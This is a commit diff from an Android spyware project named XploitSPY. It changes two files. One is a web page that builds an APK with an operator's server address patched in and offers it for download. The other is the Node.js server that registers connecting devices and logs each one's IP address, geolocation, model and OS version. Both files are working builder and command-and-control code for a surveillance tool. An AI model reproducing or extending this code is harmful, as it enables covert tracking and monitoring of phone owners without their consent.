Fix bug in APK Builder

This commit is contained in:
keerthimalan 2020-04-23 11:58:58 +05:30
parent 8be1e2f7d8
commit 46c997a55f
2 changed files with 133 additions and 140 deletions

View File

@ -1,107 +1,103 @@
<!DOCTYPE html> <!DOCTYPE html>
<meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="viewport" content="width=device-width, initial-scale=1.0" />
<html> <html>
<% include partials/head.ejs %>
<% include partials/head.ejs %> <body>
<div class="ui container">
<% include partials/header.ejs %> <% include partials/disclaimer.ejs %>
<div class="ui segment">
<div id="dimmer" class="ui dimmer">
<div class="ui indeterminate text loader" id="loadingText">Submitting</div>
</div>
<h1 class="ui" style="text-align: center;">APK Builder</h1>
<body> <div class="ui form" id="form">
<div class="ui container"> <div class="inline fields">
<% include partials/header.ejs %> <div class="six wide field">
<% include partials/disclaimer.ejs %> <div class="ui labeled input">
<div class="ui segment"> <div class="ui label">
http://
<div id="dimmer" class="ui dimmer"> </div>
<div class="ui indeterminate text loader" id="loadingText">Submitting</div> <input
</div> type="text"
id="uriInput"
<h1 class="ui" style="text-align: center">APK Builder</h1> placeholder="IP / Public URL"
<div class="ui form" id="form"> title="This is the public url of your server (domain.com)"
<div class="inline fields"> />
<div class="six wide field"> </div>
<div class="ui labeled input"> </div>
<div class="ui label"> <!-- <div class="two wide field">
http://
</div>
<input type="text" id="uriInput" placeholder="IP / Public URL" title="This is the public url of your server (domain.com)">
</div>
</div>
<!-- <div class="two wide field">
<label>:</label> <label>:</label>
<input type="number" id="portInput" placeholder="PORT" min="2048" max="25565" title="This is the `control_port` set in the consts" value="<%= myPort %>"> <input type="number" id="portInput" placeholder="PORT" min="2048" max="25565" title="This is the `control_port` set in the consts" value="<%= myPort %>">
</div> --> </div> -->
</div>
<div class="inline fields">
<div class="eight wide field">
<button id="gobuild" class="positive ui fluid button"><i class="wrench icon"></i>Build</button>
</div>
</div>
</div>
</div> <div class="ui form" id="download" style="display: none;">
<div class="inline fields"> <div class="inline fields">
<div class="eight wide field"> <div class="eight wide field">
<button id="gobuild" class="positive ui fluid button"><i class="wrench icon"></i>Build</button> <a class="blue ui fluid button" download="XploitSPY.apk" href="/build-aligned-signed.apk"
</div> ><i class="download icon"></i>Download</a
</div> >
</div> </div>
</div>
</div>
</div>
</div>
<style>
.inline.fields {
justify-content: center;
}
</style>
<div class="ui form" id="download" style="display: none"> <script>
<div class="inline fields"> var loadingTexts = [
<div class="eight wide field"> 'Decompiling APK',
<a class="blue ui fluid button" download="XploitSPY.apk" href="/build-aligned-signed.apk"><i 'Patching Server Information',
class="download icon"></i>Download</a> 'Compiling APK',
</div> 'Signing APK',
</div> 'Verifying Build',
</div> 'Finalizing',
];
</div> document.getElementById('uriInput').value = window.location.hostname;
</div>
<style>
.inline.fields {
justify-content: center;
}
</style>
<script> var loadingIndex = 0;
var loadingTexts = [ var isDone = false;
"Decompiling APK", $('#gobuild').click((e) => {
"Patching Server Information", $('#dimmer').addClass('active');
"Compiling APK", build($('#uriInput').val(), '80');
"Signing APK", setTimeout(loaderText, 500);
"Verifying Build", });
"Finalizing" function loaderText() {
]; var nextTimeout = Math.floor(Math.random() * 1500) + 700;
if (loadingIndex < loadingTexts.length) $('#loadingText').text(loadingTexts[loadingIndex++]);
document.getElementById('uriInput').value = window.location.hostname; if (loadingIndex !== loadingTexts.length && !isDone) setTimeout(loaderText, nextTimeout);
else if (loadingIndex === loadingTexts.length && !isDone) setTimeout(loaderText, 300);
var loadingIndex = 0; else
var isDone = false; while (isDone) {
$('#gobuild').click((e) => { isDone = false;
$('#dimmer').addClass('active'); $('#dimmer').fadeOut(500, () => {
build($('#uriInput').val(), "80"); $('#download').removeClass('active');
setTimeout(loaderText, 500); });
}); $('#form').fadeOut(500, () => {
$('#download').fadeIn(200);
function loaderText() { });
var nextTimeout = Math.floor(Math.random() * 1500) + 700; }
$('#loadingText').text(loadingTexts[loadingIndex]); }
loadingIndex++;
if (loadingIndex !== loadingTexts.length) setTimeout(loaderText, nextTimeout);
else
while (isDone) {
isDone = false;
$('#dimmer').fadeOut(500, () => {
$('#download').removeClass('active');
})
$('#form').fadeOut(500, () => {
$('#download').fadeIn(200);
})
}
}
function build(URI, PORT) {
$.post("/builder?uri=" + URI + "&port=" + PORT, function(data) {
if (!data.error) {
isDone = true
} else showNotification('#f03434', data.error)
});
}
</script>
<% include partials/footer.ejs %>
</body>
const build = async (URI, PORT) => {
let data = await $.post('/builder?uri=' + URI + '&port=' + PORT);
if (!data.error) isDone = true;
else showNotification('#f03434', data.error);
};
</script>
<% include partials/footer.ejs %>
</body>
</html> </html>

View File

@ -4,19 +4,18 @@
* By Team XploitWizer * By Team XploitWizer
*/ */
const express = require('express'),
const app = express(),
express = require('express'), server = require('http').createServer(app),
app = express(), IO = require('socket.io')(server),
server = require('http').createServer(app), path = require('path'),
IO = require('socket.io')(server), geoip = require('geoip-lite'),
path = require('path'), CONST = require(path.join(__dirname, '/includes/const')),
geoip = require('geoip-lite'), db = require(path.join(__dirname, '/includes/databaseGateway')),
CONST = require(path.join(__dirname,'/includes/const')), logManager = require(path.join(__dirname, '/includes/logManager')),
db = require(path.join(__dirname,'/includes/databaseGateway')), clientManager = new (require(path.join(__dirname, '/includes/clientManager')))(db),
logManager = require(path.join(__dirname, '/includes/logManager')), apkBuilder = require(path.join(__dirname, '/includes/apkBuilder'));
clientManager = new(require(path.join(__dirname, '/includes/clientManager')))(db), port = process.env.PORT || CONST.web_port;
apkBuilder = require(path.join(__dirname, '/includes/apkBuilder'))
global.CONST = CONST; global.CONST = CONST;
global.db = db; global.db = db;
@ -31,45 +30,43 @@ global.apkBuilder = apkBuilder;
// client_io.sockets.pingInterval = 30000; // client_io.sockets.pingInterval = 30000;
IO.sockets.pingInterval = 30000; IO.sockets.pingInterval = 30000;
IO.on('connection', (socket) => { IO.on('connection', (socket) => {
socket.emit('welcome'); socket.emit('welcome');
let clientParams = socket.handshake.query; let clientParams = socket.handshake.query;
let clientAddress = socket.request.connection; let clientAddress = socket.request.connection;
let clientIP = clientAddress.remoteAddress.substring(clientAddress.remoteAddress.lastIndexOf(':') + 1); let clientIP = clientAddress.remoteAddress.substring(clientAddress.remoteAddress.lastIndexOf(':') + 1);
let clientGeo = geoip.lookup(clientIP); let clientGeo = geoip.lookup(clientIP);
if (!clientGeo) clientGeo = {} if (!clientGeo) clientGeo = {};
clientManager.clientConnect(socket, clientParams.id, { clientManager.clientConnect(socket, clientParams.id, {
clientIP, clientIP,
clientGeo, clientGeo,
device: { device: {
model: clientParams.model, model: clientParams.model,
manufacture: clientParams.manf, manufacture: clientParams.manf,
version: clientParams.release version: clientParams.release,
} },
}); });
if (CONST.debug) { if (CONST.debug) {
var onevent = socket.onevent; var onevent = socket.onevent;
socket.onevent = function(packet) { socket.onevent = function (packet) {
var args = packet.data || []; var args = packet.data || [];
onevent.call(this, packet); // original call onevent.call(this, packet); // original call
packet.data = ["*"].concat(args); packet.data = ['*'].concat(args);
onevent.call(this, packet); // additional call to catch-all onevent.call(this, packet); // additional call to catch-all
}; };
socket.on("*", function(event, data) {
console.log(event);
console.log(data);
});
}
socket.on('*', function (event, data) {
console.log(event);
console.log(data);
});
}
}); });
// get the admin interface online // get the admin interface online
// app.listen(CONST.web_port); // app.listen(CONST.web_port);
server.listen(process.env.PORT || CONST.web_port) server.listen(port, () => console.log(`listening on port ${port}`));
app.set('view engine', 'ejs'); app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, '/assets/views')); app.set('views', path.join(__dirname, '/assets/views'));